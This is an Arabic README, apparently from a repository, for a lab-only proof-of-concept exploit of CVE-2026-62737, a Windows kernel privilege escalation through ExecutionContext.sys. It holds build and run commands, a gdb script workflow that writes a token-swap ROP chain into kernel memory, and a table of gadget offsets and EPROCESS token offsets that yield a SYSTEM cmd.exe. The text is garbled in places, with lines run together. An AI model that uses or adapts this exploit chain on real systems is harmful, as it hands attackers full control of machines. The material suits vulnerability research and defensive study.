
يرفع عملية ويندوز منخفضة الامتيازات إلى مستوى SYSTEM عبر سلسلة تبادل رموز (token-swap) بأسلوب ROP بمساعدة gdb، مما يوضح ثغرة CVE-2026-62737 في بيئة QEMU مخصصة للمختبر فقط.
متابعةٌ للتحليل الأصلي لـ CVE-2026-62737
(استدعاء غير مباشر تعسفي في النواة عبر ExecutionContext.sys). يحوّل هذا المحتوى
PoC الخاص بالانهيار إلى سلسلة تبادل رمز مميز عامل تطلق cmd.exe بصلاحيات SYSTEM، لكن
فقط في مختبر حيث يوفّر المُنقِح العناوين ويكتب سلسلة ROP في ذاكرة النواة.
هذا ليس استغلالًا مستقلًا.
ExecutionContext عبر وكيل KLoader كمستخدم منخفض الصلاحيات.0x22EC40) ويُدرج مهمة (0x22AC54)
يكون Callback فيها محور ROP في النواة.patch_rop.py) سلسلة ROP لتبادل الرمز المميز في
ExecutionContext .data ويلتقط RSP/RBP لحظة المحور عبر نقطة توقف عتادية.0x226C5C)،
تتبادل السلسلة رمزنا المميز مع رمز SYSTEM، وتستعيد مكدس النواة،
ثم تعود إلى مُوزّع برنامج التشغيل حتى يبقى العامل على قيد الحياة.gdbserver tcp::1234)، ووكيل ضيف، ومجلد
مشترك بين المضيف والضيف مثبّت كـ Z:.\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}.x86_64-w64-mingw32-gcc) و gdb على المضيف.x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c
احصل على القواعد الجديدة: ./ga.py 'Z:\modlist.exe' (بعد نسخ modlist.exe
إلى المجلد المشترك)
حدّث السكربتات: ./refresh_bases.sh
انسخ exploit.exe وmodlist.exe إلى المجلد المشترك.
شغّل الاستغلال كمستخدم منخفض الصلاحيات: exploit.exe <nt> <ec> <ec+0x10A00>.
يكتب معرّف العملية الخاص به إلى Z:\lab_pid.txt وينتظر Z:\go_lab.txt.
اربط gdb، مع الإشارة إلى LAB_PID_FILE نحو النسخة الموجودة على المضيف من lab_pid.txt:
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
اكتب continue عند موجه gdb.
MIT، انظر LICENSE.
| الملف | الغرض |
|---|
exploit.c | استغلال المختبر: تهيئة + إدراج + انتظار تصحيح gdb + فحص الرمز المميز + تشغيل cmd. |
patch_rop.py | سكربت gdb: يحدد موقع EPROCESS الخاص بنا، يكتب سلسلة ROP، ويفعّل نقطة توقف المحور. |
trace_rop.py | الإعداد نفسه، لكنه ينفّذ السلسلة خطوة بخطوة لأغراض التصحيح. |
refresh_bases.sh | يحدّث قواعد nt/ec لكل إقلاع في سكربتات gdb من مخرجات modlist.exe. |
modlist.c | يطبع قاعدة ntoskrnl / ExecutionContext لكل إقلاع (مصدر KASLR في المختبر). |
ga.py | ينفّذ أوامر داخل VM المختبر عبر وكيل ضيف QEMU. |
حرّر الاستغلال: touch /path/to/shared/go_lab.txt
بعد حوالي 15 ثانية، يجب أن يُظهر Z:\lab_exploit_out.txt القيمة system=1 و
يجب أن يحتوي Z:\lab_shell_out.txt على nt authority\system.
| العنصر | القيمة |
|---|
| محور ROP (كامل) | nt + 0x6A6A40 |
pop rcx; ret | nt + 0x28843A |
pop rdx; ret | nt + 0x2FECD2 |
mov [rcx], rdx; ret | nt + 0x3BC6A7 |
ret | nt + 0x20043B |
pop rsp; ret | nt + 0x2006C4 |
PsInitialSystemProcess | nt + 0xFC6AF0 |
_EPROCESS.Token | 0x248 |
_EPROCESS.UniqueProcessId | 0x1D0 |
_EPROCESS.ActiveProcessLinks | 0x1D8 |